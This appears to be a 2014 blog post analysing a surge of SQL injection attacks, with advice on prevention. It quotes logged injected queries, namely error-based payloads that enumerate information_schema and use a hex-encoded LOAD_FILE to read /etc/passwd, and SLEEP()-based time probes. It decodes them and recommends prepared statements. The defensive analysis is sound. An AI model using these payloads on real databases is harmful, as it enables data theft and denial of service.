Summer vacation's over? In the first week of August 2014 I noticed a huge increase in SQL injection attacks on various websites. Anyone else seeing the same SQL injection attacks? This increased SQL injection activity - on various websites and databases - had some clear characteristics.
The attacks used mixed-case SQL keywords, hex-encoded strings and SLEEP() calls to probe databases and tie up database servers. The only real defense is in your code: validate user supplied input and use prepared statements with parameters, never concatenated SQL.
SQL injection attack characteristics
I quickly noticed the following characteristics in the attacks, as they ended up in the executed queries. Note the casing:
SELECT * FROM Figures WHERE tPath='1' and(SeLeCt 1 FrOm(SeLeCt count(*),CoNcAt((SeLeCt(SeLeCt CoNcAt(char(33,126,33),LoAd_fIlE(0x2f6574632f706173737764),char(33,126,33))) FrOm information_schema.TaBlEs LiMiT 0,1),floor(rand(0)*2))x FrOm information_schema.TaBlEs GrOuP By x)a) and '1'='1' ORDER BY ID_Figures DESC;SELECT cnt_id, cnt_title, cnt_title_link, cnt_plaats, cnt_meta, cnt_content1, cnt_Publish, cnt_date_insert, cnt_laatste_bewerkt, keuze_afbeelding, Bnr_Visible_from, Bnr_Visible_till, Bnr_Visible_Unlimited FROM tbl_content WHERE Foobar and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from `information_schema`.columns where table_schema=0x696E666F726D6174696F6E5F736368656D61 and table_name=0x494E4E4F44425F4255464645525F504147455F4C5255 limit 12,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1 = 1 and cnt_Publish = 1 and ('2014-08-07 10:51:21' Between Bnr_Visible_from And Bnr_Visible_till or Bnr_Visible_Unlimited = 1) ORDER BY cnt_date_insert DESC LIMIT 0, 1;The hexadecimal strings hide what the attacker is after: 0x2f6574632f706173737764 decodes to /etc/passwd, which LOAD_FILE() tries to read, and the other two decode to information_schema and INNODB_BUFFER_PAGE_LRU. The count(*), floor(rand(0)*2) and GROUP BY construction deliberately triggers a duplicate key error, which leaks the requested data in the error message.
Other requests tried time-based injection with SLEEP():
SELECT * FROM course_offerings where courseID = '54' AnD sLeep(3) ANd '1';SELECT * FROM course_offerings where ((courseTitle = '54' AnD sLeep(3) ANd '1') AND (courseType = 2));SELECT page_content FROM pages WHERE page_name = 'weblog_en' AND SLEEP(3) oRDeR BY 1 #';The sleep(3) in these SQL injection attacks is very nasty and leads to MySQL sleep() attacks, causing Denial of Service of the website and the backend database server. This is something I've described earlier.
Prevent SQL injection
Therefore, in order to prevent SQL injection, it is very important to validate user supplied input in your PHP, classic ASP / VBScript, Perl and ASP.NET code! With PHP, use MySQLi or PHP Data Objects (PDO) to prepare SQL statements. In classic ASP / VBScript, use the ADODB.Command object with parameters to prepare statements, and in ASP.NET use parameterized queries.
Still running old PHP code using the removed mysql_* functions? Convert PHP ext/mysql to MySQLi and use prepared statements while you're at it. And for SQL Server: block brute force attacks on SQL Server in Windows Firewall using PowerShell.